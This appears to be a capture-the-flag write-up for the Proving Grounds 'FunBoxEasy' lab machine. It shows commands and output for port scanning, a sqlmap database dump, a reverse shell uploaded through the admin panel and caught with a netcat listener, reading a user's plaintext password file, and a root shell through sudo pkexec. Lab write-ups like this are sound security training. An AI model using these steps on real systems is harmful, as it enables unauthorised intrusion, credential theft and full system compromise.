Skip to content
HackIndex.io

FunBoxEasy Writeup - Proving Grounds

Easy Linux
Discuss on Discord

Created October 7, 2026 • Last updated October 7, 2026 • 3 min read

The Husky Hacker

sysadmin

FunBoxEasy runs a book store web app with a SQL injection and default admin credentials. The admin panel allows a file upload, which lands a PHP reverse shell as www-data. A password file in a user's home gives SSH access as tony, whose sudo rights include several GTFOBins-exploitable binaries for root.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP 
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
33060/tcp open  mysqlx
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

SSH, HTTP and MySQL X. Brute force the web root for content.

Web enumeration

Enumerate directories.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://$TARGET_IP -w /usr/share/wordlists/dirb/common.txt 
/admin         (Status: 301)   # decoy
/secret        (Status: 301)   # decoy
/store         (Status: 301)
Explain command
-w Wordlist to brute force with.

The /store app has an admin login at /store/admin.php.

Exploitation

SQL injection and admin login

The book.php?bookisbn parameter is injectable. The admin login also accepts the default admin:admin, but the credentials can be dumped directly with sqlmap.

┌──(kali㉿kali)-[~]
└─$ sqlmap -u 'http://$TARGET_IP/store/book.php?bookisbn=' --batch -D store --dump 
Database: store
Table: admin
+-------+--------------------------------------------------+
| name  | pass                                             |
+-------+--------------------------------------------------+
| admin | d033e22ae348aeb5660fc2140aec35850c4da997 (admin) |
+-------+--------------------------------------------------+
Explain command
-D store --dump Dump the store database tables.

The admin hash cracks to admin. Log in to the store admin panel, which exposes an Add Book page with a file upload.

File upload to RCE

Upload a PHP reverse shell as the book image. The Publisher field must be a valid value such as Apress. Start a listener, then trigger the shell by browsing to /store/.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Explain command
-lvnp Listen, verbose, no DNS resolution, on the given port.

Shell as www-data. Enumerate home directories.

Privilege Escalation

Credential disclosure

A password file sits in tony's home directory.

┌──(kali㉿kali)-[~]
└─$ cat /home/tony/password.txt 
ssh: $TONY_PASSWORD
gym/admin: <redacted>
/store: admin@admin.com admin

The ssh entry is tony's password. Log in over SSH.

┌──(kali㉿kali)-[~]
└─$ ssh tony@$TARGET_IP 
tony@funbox3:~$ id
uid=1000(tony) gid=1000(tony) groups=1000(tony),27(sudo),116(lxd)

Shell as tony. Check the sudo rights.

Sudo GTFOBins

tony may run a long list of binaries as root with no password.

┌──(kali㉿kali)-[~]
└─$ sudo -l 
User tony may run the following commands on funbox3:
    (root) NOPASSWD: /usr/bin/pkexec
    (root) NOPASSWD: /usr/bin/time
    (root) NOPASSWD: /usr/bin/mtr
    (root) NOPASSWD: /usr/bin/whois
    (root) NOPASSWD: /usr/bin/finger
    ...

Several of these are GTFOBins-exploitable. pkexec (or time) spawns a root shell directly.

┌──(kali㉿kali)-[~]
└─$ sudo /usr/bin/pkexec /bin/sh 
tony@funbox3:~$ sudo /usr/bin/pkexec /bin/sh
# whoami
root

The NOPASSWD pkexec runs /bin/sh as root, giving a root shell.

Related

SQL Injection Exploitation
Blog

SQL Injection Exploitation

Exploit SQL injection vulnerabilities to extract data, bypass authentication, and escalate privilege...
Exfiltrating Database Content via SQLi
Blog

Exfiltrating Database Content via SQLi

Techniques for extracting database contents through SQL injection, covering UNION-based, blind, and...
File Upload Exploitation
Blog

File Upload Exploitation

Exploit insecure file upload endpoints to achieve RCE by bypassing extension filters, MIME validatio...
Sudo Misconfiguration Privilege Escalation
Blog

Sudo Misconfiguration Privilege Escalation

Exploiting misconfigured sudo rules to escalate privileges on Linux systems, covering NOPASSWD entri...

References